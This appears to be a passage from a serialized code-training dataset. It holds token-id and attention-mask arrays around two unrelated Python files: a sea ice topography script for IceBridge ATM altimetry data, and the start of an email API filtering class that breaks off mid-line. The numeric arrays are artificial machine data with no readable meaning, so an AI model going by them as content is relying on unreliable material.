32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
akpetty/ibtopo2016
calc_multi_atm.py
1
9475
############################################################## # Date: 20/01/16 # Name: calc_multi_atm.py # Author: Alek Petty # Description: Main script to calculate sea ice topography from IB ATM data # Input requirements: ATM data, PosAV data (for geolocation) # Output: topography datasets import matplotlib matplotlib.use("AGG") import IB_functions as ro import mpl_toolkits.basemap.pyproj as pyproj from osgeo import osr, gdal from pyproj import Proj from glob import glob from pylab import * from scipy import ndimage from matplotlib import rc #from scipy.interpolate import griddata from matplotlib.mlab import griddata import time import scipy.interpolate import h5py from scipy.spatial import cKDTree as KDTree import os def calc_bulk_stats(): ice_area=-999 ridge_area_all=-999 mean_ridge_height_all=-999 mean_ridge_heightL=-999 ridge_areaL=-999 num_ridges_out=-999 levpercent_out=-999 num_pts_section=-999 # IF SECTION GOOD THEN GET ICE SWATH AREA if (points_good==1): ice_area = ma.count(elevation2d)*(xy_res**2) levpercent_out=levpercent # IF SECTION GOOD AND HAVE SOME RIDGING THEN ASSIGN TOTAL RIDGE AREA AND ELEVATION if ((points_good==1)&(found_ridges==1)): ridge_area_all = ma.count(elevation2d_ridge_ma)*(xy_res**2) mean_ridge_height_all = np.mean(elevation2d_ridge_ma) - level_elev # IF SECTION GOOD AND WE HAVE NO RIDGING (AREA OF RIDGING = 0) THEN ASSIGN ZERO RIDGE AREA HEIGHT if ((points_good==1)&(found_ridges==0)): ridge_area_all = 0. mean_ridge_height_all = 0. #IF GOOD SECTION BUT NO BIG RIDGES THEN SET THESE VALUES TO ZERO if ((points_good==1)&(found_big_ridge==0)): mean_ridge_heightL=0. ridge_areaL=0. num_ridges_out=0 # IF WE FOUND SOME BIG RIDGES THENA SSIGN BIG RIDGE AREA HEIGHT AND NUMBER if ((points_good==1)&(found_big_ridge==1)): mean_ridge_heightL = np.mean(ridge_height_mesh) ridge_areaL = ma.count(ridge_height_mesh)*(xy_res**2) num_ridges_out = num_ridges return [mean_x, mean_y, ice_area, num_ridges_out, ridge_area_all, ridge_areaL, mean_ridge_height_all, mean_ridge_heightL, mean_alt, mean_pitch, mean_roll, mean_vel, num_pts_section,levpercent_out, section_num, found_ridges, points_good, plane_good] #-------------- ATM AND DMS PATHS------------------ datapath='./Data_output/' rawdatapath = '../../../DATA/ICEBRIDGE/' ATM_path = rawdatapath+'/ATM/ARCTIC/' posAV_path =rawdatapath+'/POSAV/SEA_ICE/GR/' #posAV_path ='/Volumes/TBOLT_HD_PETTY/POSAV/' m=pyproj.Proj("+init=EPSG:3413") #FREE PARAMETERS min_ridge_height = 0.2 along_track_res=1000 pwidth=20 pint=5 xy_res=2 start_year=2009 end_year=2009 min_ridge_size=100 sh=0 if (sh==1): print 'Ridge threshold:', sys.argv[1] print 'Along track res:',sys.argv[2] print 'xy res:',sys.argv[3] print 'Start year:',sys.argv[4] print 'End year:',sys.argv[5] min_ridge_height = float(sys.argv[1]) along_track_res = int(sys.argv[2]) xy_res = int(sys.argv[3]) start_year=int(sys.argv[4]) end_year=int(sys.argv[5]) pts_threshold=15000 num_points_req = min_ridge_size/(xy_res**2) section_num=0 print 'Num points req', num_points_req ftype = str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm' outpath = datapath+ftype+'/' for year in xrange(start_year, end_year+1): ATM_year = ATM_path+str(year)+'/' atm_files_year = glob(ATM_year+'/*/') #for days in xrange(): for days in xrange(size(atm_files_year)): atm_path_date = atm_files_year[days] print 'ATM day:', atm_path_date atm_files_in_day = ro.get_atm_files(atm_path_date, year) #load POS file posAV = loadtxt(posAV_path+str(year)+'_GR_NASA/sbet_'+str(atm_path_date[-9:-1])+'.out.txt', skiprows=1) #GET POSITION OF PLANE AND 1km MARKERS FROM POSAV xp, yp, dist, km_idxs, km_utc_times = ro.get_pos_sections(posAV, m, along_track_res) for atm_file in xrange(size(atm_files_in_day)): atm_statsALL=np.array([]).reshape(0,3) ridge_statsALL=np.array([]).reshape(0,9) covarALL=np.array([]).reshape(0,5) bulk_statsALL=np.array([]).reshape(0,18) print 'ATM file:', atm_files_in_day[atm_file], str(atm_file)+'/'+str(size(atm_files_in_day)) lonT, latT, elevationT, utc_timeT= ro.get_atmqih5(atm_files_in_day[atm_file], year, 1) #IF SIZE OF DATA IS LESS THAN SOME THRESHOLD THEN DONT BOTHER ANALYZING if (size(utc_timeT)<100): break xT, yT = m(lonT, latT) #GET POSAV INDICES COINCIDING WITH START AND END OF ATM FILE. ADD PLUS/MINUS 1 FOR SOME LEEWAY. start_i = np.abs(km_utc_times - utc_timeT[0]).argmin() end_i = np.abs(km_utc_times - utc_timeT[-1]).argmin() print 'START/END:', start_i, end_i for i in xrange(start_i -1, end_i + 1): section_num+=1 found_ridges=0 found_big_ridge=0 plane_good=0 points_good=0 ridge_statsT = np.array([]).reshape(0,9) cov_matrix = np.array([]).reshape(0,5) #label_numsL=np.array(0) mean_x, mean_y, mean_alt, mean_pitch, mean_roll, mean_vel = ro.posav_section_info(m, posAV[km_idxs[i]:km_idxs[i+1]] ) print ' ' print str(i)+'/'+str(end_i + 1) print 'Mean altitude:', mean_alt print 'Mean pitch:', mean_pitch print 'Mean roll:', mean_roll print 'Mean vel:', mean_vel if (abs(mean_alt-500)<200) & (abs(mean_pitch)<5) & (abs(mean_roll)<5): plane_good=1 poly_path, vertices, sides = ro.get_pos_poly(xp, yp, km_idxs[i], km_idxs[i+1]) xatm_km, yatm_km, elevation_km = ro.get_atm_poly(xT, yT, elevationT, km_utc_times, utc_timeT, poly_path, i) num_pts_section = size(xatm_km) print 'Num pts in section:', size(xatm_km) #if there are more than 15000 pts in the 1km grid (average of around 20000) then proceed if (num_pts_section>pts_threshold): points_good=1 #ro.plot_atm_poly(m, xatm_km, yatm_km, elevation_km, poly_path, i, out_path, year) #GET ATM GRID xx2d, yy2d = ro.grid_atm(xatm_km, yatm_km, xy_res) print 'Grid:', size(xx2d[0]), size(xx2d[1]) # CALCULATE THE LEVEL ICE SURFACE USING THE CUMULATIVE DISTRIBUTION #THRESH IS THE LEVEL ICE PLUS RIDGED ICE ELEVATION level_elev, thresh, levpercent = ro.calc_level_ice(elevation_km, pint, pwidth, min_ridge_height) #level_elev, thresh, levpercent = ro.calc_level_ice(elevation_km, pwidth, min_ridge_height) elevation2d, elevation2d_ridge_ma, ridge_area = ro.grid_elevation(xatm_km, yatm_km,elevation_km, xx2d, yy2d, thresh, kdtree=1) elevation2d_ridge_maL =elevation2d_ridge_ma-level_elev #IF THERE IS EVEN A LITTLE BIT OF RIDGING (might not actually be enough for a big areal ridge from the labelling) then proceed to clean up data. if (ridge_area>0): found_ridges=1 #CLEAN UP DATA WITH KDTREE AROUND RIDGE POINTS #REMOVE FOR PRELIMINARY STUDIES AS COMPUTATIONALLY EXPENSIVE! #elevation2d_ridge_ma = kdtree_clean() #GET RIDGE LABELS - MAKE SURE RIDGES ARE ABOVE CERTAIN SIZE, DECIDED BY NUM_PTS_REQ label_im = ro.get_labels(elevation2d_ridge_maL, xy_res, min_ridge_size, min_ridge_height) # DECIDE IF WE WANT TO CALCULATE RIDGE ORIENTATION OR NOT. if (np.amax(label_im)>=1): found_big_ridge=1 print 'Found Ridge!' print 'Number of labels:', np.amax(label_im) num_ridges = np.amax(label_im) #GET RIDGE STATS IF WE DID FIND A RIDGE ridge_statsT, ridge_height_mesh, cov_matrix, indexT = ro.calc_ridge_stats(elevation2d_ridge_ma, num_ridges, label_im, xx2d, yy2d, level_elev, section_num, calc_orientation=1) #CALCULATE BULK STATISTICS AS WE HAVE VALID NUMBER OF POINTS WITHIN THE SECTION else: print 'No data - WHY?! --------------' print 'Num pts in section:', size(xatm_km) #ASSIGN BULK STATISTICS AS WE HAVE NOT CARRIED OUT RIDGE CALCULATION AS PLANE IS DOING FUNNY THINGS bulk_statsT = calc_bulk_stats() ridge_statsALL = vstack([ridge_statsALL, ridge_statsT]) covarALL = vstack([covarALL, cov_matrix]) bulk_statsALL = vstack([bulk_statsALL, bulk_statsT]) if not os.path.exists(outpath+str(year)): os.makedirs(outpath+str(year)) ridge_statsALL.dump(outpath+str(year)+'/ridge_stats_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file).zfill(3)+'.txt') covarALL.dump(outpath+str(year)+'/cov_matrix_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file).zfill(3)+'.txt') bulk_statsALL.dump(outpath+str(year)+'/bulk_ridge_stats_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file).zfill(3)+'.txt') #CAN OUTPUT AS TEXT FILES INSTEAD - BIGGER BUT CAN OPEN RAW #savetxt(outpath+str(year)+'/ridge_stats_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file)+'.txt', ridge_statsALL) #savetxt(outpath+str(year)+'/cov_matrix_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file)+'.txt', covarALL) #savetxt(outpath+str(year)+'/bulk_ridge_stats_'+str(int(along_track_res/1000))+'km_xyres'+str(xy_res)+'m_'+str(int(min_ridge_height*100))+'cm_poly'+str(atm_path_date[-9:-1])+'_f'+str(atm_file)+'.txt', bulk_statsALL)
gpl-3.0
[ 26207, 3726, 221, 199, 3, 6148, 26, 3388, 15, 614, 15, 975, 199, 3, 2812, 26, 12831, 63, 3029, 63, 292, 77, 14, 647, 199, 3, 6529, 26, 6832, 75, 31449, 369, 199, 3, 11994, 26, 11298, 2884, 370, 8671, 29894, 284, 301, 11111, 9773, 687, 473, 34, 15059, 45, 666, 199, 3, 6924, 9760, 26, 15059, 45, 666, 12, 25987, 6087, 666, 334, 509, 8509, 1985, 9, 199, 3, 7242, 26, 11111, 9773, 13148, 199, 199, 646, 8027, 199, 16440, 14, 1180, 480, 14083, 531, 199, 646, 473, 34, 63, 5777, 465, 882, 199, 646, 22513, 63, 3557, 75, 1405, 14, 1095, 1130, 14, 647, 5468, 465, 1134, 5468, 199, 504, 747, 6721, 492, 747, 82, 12, 15834, 199, 504, 1134, 5468, 492, 2165, 74, 199, 504, 5739, 492, 5739, 199, 504, 19199, 492, 627, 199, 504, 7026, 492, 302, 23335, 199, 504, 8027, 492, 4819, 199, 3, 504, 7026, 14, 21294, 492, 6068, 576, 221, 199, 504, 8027, 14, 757, 371, 492, 6068, 576, 199, 646, 900, 199, 646, 7026, 14, 21294, 199, 646, 394, 21, 647, 199, 504, 7026, 14, 11679, 492, 286, 13368, 3987, 465, 31368, 3987, 199, 646, 747, 199, 199, 318, 12831, 63, 9377, 63, 3200, 837, 18118, 198, 1885, 63, 6789, 4022, 5637, 199, 198, 5562, 63, 6789, 63, 452, 4022, 5637, 199, 198, 3670, 63, 5562, 63, 3333, 63, 452, 4022, 5637, 199, 198, 3670, 63, 5562, 63, 3333, 44, 4022, 5637, 199, 198, 5562, 63, 6789, 44, 4022, 5637, 199, 198, 1507, 63, 1677, 3389, 63, 548, 4022, 5637, 199, 198, 6972, 7045, 63, 548, 4022, 5637, 199, 198, 1507, 63, 8382, 63, 2792, 4022, 5637, 199, 198, 3, 8036, 29074, 9173, 36, 27299, 9576, 473, 2089, 17548, 11695, 9315, 33, 199, 198, 692, 334, 3438, 63, 8302, 389, 17, 304, 507, 198, 1885, 63, 6789, 275, 610, 14, 835, 8, 32568, 18, 68, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 6972, 7045, 63, 548, 29, 6972, 7045, 199, 198, 3, 8036, 29074, 9173, 36, 2401, 25227, 3562, 3635, 820, 998, 39, 1206, 27299, 17567, 3203, 377, 1387, 748, 820, 998, 4962, 9315, 33, 2401, 662, 906, 54, 2594, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 1677, 3389, 389, 17, 2298, 507, 198, 5562, 63, 6789, 63, 452, 275, 610, 14, 835, 8, 32568, 18, 68, 63, 5562, 63, 391, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 3670, 63, 5562, 63, 3333, 63, 452, 275, 980, 14, 3670, 8, 32568, 18, 68, 63, 5562, 63, 391, 9, 446, 2166, 63, 24083, 421, 198, 3, 8036, 29074, 9173, 36, 2401, 644, 37, 25227, 4825, 820, 998, 39, 1206, 334, 28591, 1634, 820, 998, 39, 1206, 275, 378, 9, 27299, 17567, 3203, 20348, 820, 998, 4962, 9315, 33, 8378, 2830, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 1677, 3389, 389, 16, 2298, 507, 198, 5562, 63, 6789, 63, 452, 275, 378, 14, 507, 198, 3670, 63, 5562, 63, 3333, 63, 452, 275, 378, 14, 8299, 198, 3, 4656, 9173, 36, 29074, 5400, 4825, 16524, 820, 998, 39, 654, 27299, 11543, 4221, 654, 37, 13992, 2296, 20348, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 5076, 63, 5562, 389, 16, 2298, 507, 198, 3670, 63, 5562, 63, 3333, 44, 29, 16, 14, 507, 198, 5562, 63, 6789, 44, 29, 16, 14, 507, 198, 1507, 63, 1677, 3389, 63, 548, 29, 16, 199, 198, 3, 8036, 644, 37, 481, 47, 6131, 3562, 3635, 16524, 820, 998, 39, 654, 27299, 33, 428, 9396, 16524, 820, 998, 4962, 9315, 33, 8378, 2830, 2401, 18122, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 5076, 63, 5562, 389, 17, 2298, 198, 507, 198, 3670, 63, 5562, 63, 3333, 44, 275, 980, 14, 3670, 8, 5562, 63, 3333, 63, 6480, 9, 507, 198, 5562, 63, 6789, 44, 275, 610, 14, 835, 8, 5562, 63, 3333, 63, 6480, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 1507, 63, 1677, 3389, 63, 548, 275, 1967, 63, 1677, 3389, 4388, 198, 1107, 359, 3670, 63, 88, 12, 4615, 63, 89, 12, 284, 301, 63, 6789, 12, 1967, 63, 1677, 3389, 63, 548, 12, 31285, 63, 6789, 63, 452, 12, 31285, 63, 6789, 44, 12, 4615, 63, 5562, 63, 3333, 63, 452, 12, 4615, 63, 5562, 63, 3333, 44, 12, 4615, 63, 4478, 12, 4615, 63, 16966, 12, 4615, 63, 2827, 12, 4615, 63, 1090, 12, 1967, 63, 8382, 63, 2792, 12, 6972, 7045, 63, 548, 12, 3420, 63, 1507, 12, 1911, 63, 1677, 3389, 12, 4501, 63, 8302, 12, 16388, 63, 8302, 61, 507, 199, 3, 10965, 15059, 45, 2401, 577, 3053, 15097, 51, 777, 306, 199, 199, 25019, 534, 13186, 1451, 63, 1199, 4805, 199, 14901, 515, 275, 283, 29866, 3998, 15, 4047, 7184, 998, 4962, 4805, 199, 619, 45, 63, 515, 275, 15705, 515, 23164, 619, 45, 15, 689, 1028, 948, 4805, 199, 1712, 6087, 63, 515, 275, 14901, 515, 23164, 1512, 4251, 54, 15, 899, 33, 63, 4047, 15, 3975, 4805, 199, 3, 1712, 6087, 63, 515, 275, 9807, 32480, 15, 20098, 2228, 52, 63, 14903, 63, 48, 775, 2099, 15, 1512, 4251, 54, 4805, 199, 77, 29, 647, 5468, 14, 23657, 28819, 826, 29, 19672, 26, 1082, 969, 531, 199, 3, 28170, 23710, 199, 199, 827, 63, 5562, 63, 3333, 275, 378, 14, 18, 199, 21632, 63, 3885, 63, 470, 29, 5279, 199, 80, 2063, 29, 1165, 199, 80, 442, 29, 21, 199, 1702, 63, 470, 29, 18, 199, 928, 63, 3403, 29, 8664, 199, 500, 63, 3403, 29, 8664, 199, 827, 63, 5562, 63, 890, 29, 1960, 199, 199, 609, 29, 16, 199, 692, 334, 609, 389, 17, 304, 199, 198, 1361, 283, 50, 22642, 8765, 6536, 984, 14, 3020, 59, 17, 61, 199, 198, 1361, 283, 2439, 951, 4426, 522, 6536, 1274, 14, 3020, 59, 18, 61, 199, 198, 1361, 283, 1702, 522, 6536, 1274, 14, 3020, 59, 19, 61, 199, 198, 1361, 283, 3162, 5361, 6536, 1274, 14, 3020, 59, 20, 61, 199, 198, 1361, 283, 3005, 5361, 6536 ]
[ 3726, 221, 199, 3, 6148, 26, 3388, 15, 614, 15, 975, 199, 3, 2812, 26, 12831, 63, 3029, 63, 292, 77, 14, 647, 199, 3, 6529, 26, 6832, 75, 31449, 369, 199, 3, 11994, 26, 11298, 2884, 370, 8671, 29894, 284, 301, 11111, 9773, 687, 473, 34, 15059, 45, 666, 199, 3, 6924, 9760, 26, 15059, 45, 666, 12, 25987, 6087, 666, 334, 509, 8509, 1985, 9, 199, 3, 7242, 26, 11111, 9773, 13148, 199, 199, 646, 8027, 199, 16440, 14, 1180, 480, 14083, 531, 199, 646, 473, 34, 63, 5777, 465, 882, 199, 646, 22513, 63, 3557, 75, 1405, 14, 1095, 1130, 14, 647, 5468, 465, 1134, 5468, 199, 504, 747, 6721, 492, 747, 82, 12, 15834, 199, 504, 1134, 5468, 492, 2165, 74, 199, 504, 5739, 492, 5739, 199, 504, 19199, 492, 627, 199, 504, 7026, 492, 302, 23335, 199, 504, 8027, 492, 4819, 199, 3, 504, 7026, 14, 21294, 492, 6068, 576, 221, 199, 504, 8027, 14, 757, 371, 492, 6068, 576, 199, 646, 900, 199, 646, 7026, 14, 21294, 199, 646, 394, 21, 647, 199, 504, 7026, 14, 11679, 492, 286, 13368, 3987, 465, 31368, 3987, 199, 646, 747, 199, 199, 318, 12831, 63, 9377, 63, 3200, 837, 18118, 198, 1885, 63, 6789, 4022, 5637, 199, 198, 5562, 63, 6789, 63, 452, 4022, 5637, 199, 198, 3670, 63, 5562, 63, 3333, 63, 452, 4022, 5637, 199, 198, 3670, 63, 5562, 63, 3333, 44, 4022, 5637, 199, 198, 5562, 63, 6789, 44, 4022, 5637, 199, 198, 1507, 63, 1677, 3389, 63, 548, 4022, 5637, 199, 198, 6972, 7045, 63, 548, 4022, 5637, 199, 198, 1507, 63, 8382, 63, 2792, 4022, 5637, 199, 198, 3, 8036, 29074, 9173, 36, 27299, 9576, 473, 2089, 17548, 11695, 9315, 33, 199, 198, 692, 334, 3438, 63, 8302, 389, 17, 304, 507, 198, 1885, 63, 6789, 275, 610, 14, 835, 8, 32568, 18, 68, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 6972, 7045, 63, 548, 29, 6972, 7045, 199, 198, 3, 8036, 29074, 9173, 36, 2401, 25227, 3562, 3635, 820, 998, 39, 1206, 27299, 17567, 3203, 377, 1387, 748, 820, 998, 4962, 9315, 33, 2401, 662, 906, 54, 2594, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 1677, 3389, 389, 17, 2298, 507, 198, 5562, 63, 6789, 63, 452, 275, 610, 14, 835, 8, 32568, 18, 68, 63, 5562, 63, 391, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 3670, 63, 5562, 63, 3333, 63, 452, 275, 980, 14, 3670, 8, 32568, 18, 68, 63, 5562, 63, 391, 9, 446, 2166, 63, 24083, 421, 198, 3, 8036, 29074, 9173, 36, 2401, 644, 37, 25227, 4825, 820, 998, 39, 1206, 334, 28591, 1634, 820, 998, 39, 1206, 275, 378, 9, 27299, 17567, 3203, 20348, 820, 998, 4962, 9315, 33, 8378, 2830, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 1677, 3389, 389, 16, 2298, 507, 198, 5562, 63, 6789, 63, 452, 275, 378, 14, 507, 198, 3670, 63, 5562, 63, 3333, 63, 452, 275, 378, 14, 8299, 198, 3, 4656, 9173, 36, 29074, 5400, 4825, 16524, 820, 998, 39, 654, 27299, 11543, 4221, 654, 37, 13992, 2296, 20348, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 5076, 63, 5562, 389, 16, 2298, 507, 198, 3670, 63, 5562, 63, 3333, 44, 29, 16, 14, 507, 198, 5562, 63, 6789, 44, 29, 16, 14, 507, 198, 1507, 63, 1677, 3389, 63, 548, 29, 16, 199, 198, 3, 8036, 644, 37, 481, 47, 6131, 3562, 3635, 16524, 820, 998, 39, 654, 27299, 33, 428, 9396, 16524, 820, 998, 4962, 9315, 33, 8378, 2830, 2401, 18122, 199, 198, 692, 3666, 3438, 63, 8302, 389, 17, 9, 6, 8, 4214, 63, 5076, 63, 5562, 389, 17, 2298, 198, 507, 198, 3670, 63, 5562, 63, 3333, 44, 275, 980, 14, 3670, 8, 5562, 63, 3333, 63, 6480, 9, 507, 198, 5562, 63, 6789, 44, 275, 610, 14, 835, 8, 5562, 63, 3333, 63, 6480, 14397, 1702, 63, 470, 538, 18, 9, 507, 198, 1507, 63, 1677, 3389, 63, 548, 275, 1967, 63, 1677, 3389, 4388, 198, 1107, 359, 3670, 63, 88, 12, 4615, 63, 89, 12, 284, 301, 63, 6789, 12, 1967, 63, 1677, 3389, 63, 548, 12, 31285, 63, 6789, 63, 452, 12, 31285, 63, 6789, 44, 12, 4615, 63, 5562, 63, 3333, 63, 452, 12, 4615, 63, 5562, 63, 3333, 44, 12, 4615, 63, 4478, 12, 4615, 63, 16966, 12, 4615, 63, 2827, 12, 4615, 63, 1090, 12, 1967, 63, 8382, 63, 2792, 12, 6972, 7045, 63, 548, 12, 3420, 63, 1507, 12, 1911, 63, 1677, 3389, 12, 4501, 63, 8302, 12, 16388, 63, 8302, 61, 507, 199, 3, 10965, 15059, 45, 2401, 577, 3053, 15097, 51, 777, 306, 199, 199, 25019, 534, 13186, 1451, 63, 1199, 4805, 199, 14901, 515, 275, 283, 29866, 3998, 15, 4047, 7184, 998, 4962, 4805, 199, 619, 45, 63, 515, 275, 15705, 515, 23164, 619, 45, 15, 689, 1028, 948, 4805, 199, 1712, 6087, 63, 515, 275, 14901, 515, 23164, 1512, 4251, 54, 15, 899, 33, 63, 4047, 15, 3975, 4805, 199, 3, 1712, 6087, 63, 515, 275, 9807, 32480, 15, 20098, 2228, 52, 63, 14903, 63, 48, 775, 2099, 15, 1512, 4251, 54, 4805, 199, 77, 29, 647, 5468, 14, 23657, 28819, 826, 29, 19672, 26, 1082, 969, 531, 199, 3, 28170, 23710, 199, 199, 827, 63, 5562, 63, 3333, 275, 378, 14, 18, 199, 21632, 63, 3885, 63, 470, 29, 5279, 199, 80, 2063, 29, 1165, 199, 80, 442, 29, 21, 199, 1702, 63, 470, 29, 18, 199, 928, 63, 3403, 29, 8664, 199, 500, 63, 3403, 29, 8664, 199, 827, 63, 5562, 63, 890, 29, 1960, 199, 199, 609, 29, 16, 199, 692, 334, 609, 389, 17, 304, 199, 198, 1361, 283, 50, 22642, 8765, 6536, 984, 14, 3020, 59, 17, 61, 199, 198, 1361, 283, 2439, 951, 4426, 522, 6536, 1274, 14, 3020, 59, 18, 61, 199, 198, 1361, 283, 1702, 522, 6536, 1274, 14, 3020, 59, 19, 61, 199, 198, 1361, 283, 3162, 5361, 6536, 1274, 14, 3020, 59, 20, 61, 199, 198, 1361, 283, 3005, 5361, 6536, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rmasters/inbox
inbox/api/filtering.py
1
10329
from datetime import datetime import bson from sqlalchemy import and_, or_, asc, desc from sqlalchemy.orm import joinedload, subqueryload from inbox.models import (Contact, Message, MessageContactAssociation, Thread, Tag, TagItem, Part) from inbox.util.encoding import base36decode class Filter(object): """ A container for all the filtering query parameters an API client may pass.""" def __init__(self, namespace_id, subject, from_addr, to_addr, cc_addr, bcc_addr, any_email, thread_public_id, started_before, started_after, last_message_before, last_message_after, filename, tag, limit, offset, order_by, db_session): self.namespace_id = namespace_id self.subject = subject self.from_addr = from_addr self.to_addr = to_addr self.cc_addr = cc_addr self.bcc_addr = bcc_addr self.any_email = any_email self.thread_public_id = thread_public_id self.started_before = started_before self.started_after = started_after self.last_message_before = last_message_before self.last_message_after = last_message_after self.filename = filename self.tag = tag self.limit = limit self.offset = offset self.order_by = order_by self.db_session = db_session # Validate input for key in ('subject', 'any_email', 'to_addr', 'from_addr', 'cc_addr', 'bcc_addr', 'filename', 'tag'): value = getattr(self, key, None) if value is not None and len(value) > 255: raise ValueError('Value {} for {} is too long'. format(value, key)) if thread_public_id is not None: try: base36decode(thread_public_id) except ValueError: raise ValueError('Invalid thread id {}'. format(thread_public_id)) for key in ('started_before', 'started_after', 'last_message_before', 'last_message_after'): value = getattr(self, key, None) if value is not None: try: # Replace Unix timestamp by datetime object. # We need to set tzinfo so that we can compare to datetimes # that were deserialized using bson.json_util. dt = datetime.utcfromtimestamp(int(value)) setattr(self, key, dt.replace(tzinfo=bson.tz_util.utc)) except ValueError: raise ValueError('Invalid timestamp value {} for {}'. format(value, key)) def get_threads(self): query = self.db_session.query(Thread) thread_criteria = [Thread.namespace_id == self.namespace_id] if self.thread_public_id is not None: query = query.filter(Thread.public_id == self.thread_public_id) # TODO(emfree): at this point there should be at most one object, # so we could just execute the query and check additional filters # in Python-land. if self.started_before is not None: thread_criteria.append(Thread.subjectdate < self.started_before) if self.started_after is not None: thread_criteria.append(Thread.subjectdate > 